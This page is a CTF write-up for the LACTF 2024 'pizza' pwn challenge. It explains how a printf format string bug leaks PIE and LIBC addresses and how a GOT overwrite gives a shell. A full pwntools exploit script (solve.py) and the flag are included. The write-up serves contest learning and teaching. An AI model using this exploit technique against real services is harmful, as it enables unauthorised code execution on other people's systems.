Casual McDonald's Employee Scriptorium
BlogMemesGitHubAbout
  • root@JesusCries
  • ⛩️Red Teaming
    • Methodology
    • Red Team Infrastructure
    • Initial Access
    • Reconnaissance
    • Lateral Movement
    • Post-Exploitation
      • Credentials Dumping
    • Persistence
    • Evasion
      • Memory Scanner
      • Antimalware Scan Interface (AMSI)
      • Event Tracing for Windows (ETW)
      • Attack Surface Reduction (ASR)
      • Microsoft Windows Defender Application Control (WDAC)
      • EDR Evasion
    • Offensive Development
      • Process Injection & Shellcode Loader
      • Portable Executable (PE) Loader
      • User Defined Reflective Loader
      • Beacon Object Files
    • Command & Control (C2)
      • Cobalt Strike
      • Havoc
      • Mythic
      • Sliver
    • Miscellaneous
      • Interesting Read
      • Certification Reviews
        • Certified Red Team Lead (CRTL)
  • 🧊Active Directory & Pentest
    • Check List
  • 🚩CTF Writeups
    • Reverse Engineering
      • Wargames.MY 2024: World 3
      • Wargames.MY 2023: Defeat the boss!
      • ACS 2023: Licrackense Pt I
      • ACS 2023: babyrev
      • ACS 2023: expr
      • ACS 2023: rustarm
      • ACS 2023: Maze
      • SiberSiaga 2023: Obstacles
      • SiberSiaga 2023: Packed
      • SiberSiaga 2023: Malbot
      • SiberSiaga 2023: Vacine
      • ABOH 2023: MetalPipe
      • ABOH 2023: Grape
      • iCTF 2023: RemoteC4
    • Binary Exploitation
      • HTB Cyber Apocalypse 2024: SoundOfSilence
      • LACTF 2024: pizza
      • ACS 2023: Licrackense Pt II
      • ACS 2023: Shellcoding Test
      • ACS 2023: Coding Test
      • ACS 2023: register
      • Wargames.MY 2023: Pak Mat Burger
      • SiberSiaga 2023: Password Generator
      • NahamCON CTF 2023: nahmnahmnahm
      • NahamCON CTF 2023: Weird Cookie
      • TJCTF 2023: shelly
      • TJCTF 2023: formatter
      • ångstromCTF 2023: gaga2
      • ångstromCTF 2023: leek
      • Space Heroes 2023: Rope Dancer
      • corCTF 2022: babypwn
      • corCTF 2021: Cshell
      • HTB Cyber Apocalypse 2023: Void
      • HTB Cyber Santa CTF 2021: minimelfistic
      • HTB Challenge: pwnshop
  • 🤡Clown Chronicles
    • About Me
    • Blogs
      • How to Win A CTF by Overcomplicating Things
      • Exploring Dynamic Invocation for Process Injection in C# and Rust
    • Projects
    • Memes
    • Others
Powered by GitBook
On this page
  • TL;DR
  • Pwninit
  • Challenge Overview
  • Format String Vulnerability
  • Write Primitive - GOT Overwrite
  • Read Primitive - Leak LIBC & PIE
  • Solution
  1. CTF Writeups
  2. Binary Exploitation

LACTF 2024: pizza

yummy

PreviousHTB Cyber Apocalypse 2024: SoundOfSilenceNextACS 2023: Licrackense Pt II

Last updated 1 year ago

TL;DR

Classic Format String GOT Overwrite - Abuse read primitive of printf() to leak canary, LIBC and PIE addresses, followed by GOT overwrite to execute a system(/bin/sh) call.

Pwninit

The challenge starts with a given Dockerfile, but without the LIBC.

The LIBC file can be retrieved from the Debian image via Docker volume as a shortcut.

Challenge Overview

Pizza is a menu-style challenge that prompts the user for 3 pizza toppings.

Interestingly enough, it supports custom toppings! These custom user inputs are then echoed back to us, indicating something fishy that leans toward an info leak primitive.

Inspecting the binary protection shows that Partial RELRO is enabled, meaning GOT overwrite is possible. Another thing to take note is PIE is enabled as well, meaning we would need an info leak to retrieve both LIBC and PIE addresses.

Format String Vulnerability

An obvious format string vulnerability exists when a custom topping is added. Since our user input is reflected back to us, we essentially have both Read & Write primitives to play with.

  printf("Here are the toppings that you chose:\n");
  for (int i = 0; i < 3; ++i) {
    printf(toppings[i]);
    printf("\n");
  }
  printf("Your pizza will be ready soon.\n");
  printf("Order another pizza? (y/n): ");

Write Primitive - GOT Overwrite

Recall that Partial RELRO is enabled on the GOT; This is a classic scenario where we can overwrite the GOT entry with something like system() to get a shell.

But first, we need to figure out the offset where the first positional argument occurs. To do this, input a bunch of A's followed by the pointer %p specifier. Since our initial input of A's showed up on the 6th address, this will be our offset.

Read Primitive - Leak LIBC & PIE

Before we overwrite the GOT, there are 2 info leaks required to formulate our payload - Remember, GOT entries are affected by PIE, and system() comes from LIBC which has ASLR enabled on the remote instance.

Next is to calculate how far these addresses are from their respective base addresses; the value for this will always remain as a constant throughout different runs.

Solution

Putting everything together - the read primitive info leaks has to come first before we make use of pwntool's fmtstr_payload() to construct our payload.

solve.py
#!/usr/bin/env python3

from pwn import *

elf = ELF("./pizza_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', b'%49$p:%47$p')
    r.sendlineafter(b'> ', b'0')    # We leaked both PIE and LIBC in 1st topping, therefore the 2nd & 3rd topping can be anything at this point
    r.sendlineafter(b'> ', b'0')

    r.recvuntil(b'chose:\n')
    leak = r.recvline().strip()

    elf.address = int(leak.strip().split(b':')[0], 16) - 0x1189
    libc.address = int(leak.strip().split(b':')[1], 16) - 0x2724a

    log.info(hex(elf.address))
    log.info(hex(libc.address))

    r.sendlineafter(b'(y/n): ', b'y')

    payload = fmtstr_payload(6, {elf.got.printf: libc.symbols.system}, write_size='short')

    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', payload)
    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', b'/bin/sh')
    r.sendlineafter(b'> ', b'0')

    r.interactive()

if __name__ == "__main__":
    main()

Flag: lactf{golf_balls_taste_great_2tscx63xm3ndvycw}

Using to patch the binary yields an error due to the lack of support for EGLIBC.

I found another fork of written in Python that supports EGLIBC, so I went with that instead.

We can fuzz these offsets to understand where the leaks occur using a similar script from a previous writeup of . We'll skip forward this step, but PIE and LIBC can be found from offsets 49 and 47 respectively.

🚩
o12/pwninit
pwninit
SiberSiaga 2023: Password Generator